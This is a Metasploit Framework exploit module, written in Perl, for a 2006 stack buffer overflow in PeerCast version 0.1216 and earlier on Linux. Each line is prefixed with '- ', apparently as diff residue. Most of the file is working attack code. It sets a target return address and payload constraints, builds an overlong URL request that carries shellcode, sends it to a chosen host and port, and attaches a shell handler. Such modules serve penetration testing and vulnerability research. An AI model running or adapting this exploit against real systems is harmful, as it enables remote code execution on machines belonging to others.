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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::peercast_url_linux;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (Linux)',
- 'Version' => '$Revision: 1.2 $',
- 'Authors' => [ 'y0 [at] w00t-shell.net', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'linux'],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 7144],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 200,
- 'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in PeerCast <= v0.1216.
- The vulnerability is caused due to a boundary error within the
- handling of URL parameters.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '23777'],
- ['BID', '17040'],
- ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
- ],
-
- 'DefaultTarget' => 0,
-
- 'Targets' =>
- [
- ['PeerCast v0.1212 binary', 0x080922f7 ],
- ],
-
- 'Keys' => ['peercast'],
-
- 'DisclosureDate' => 'March 8 2006',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $offset = $self->GetVar('OFFSET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $sploit =
- "GET /stream/?". Pex::Text::AlphaNumText(780).
- pack('V', $target->[1]). $shellcode. "\r\n";
-
- $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
-
- 1;
-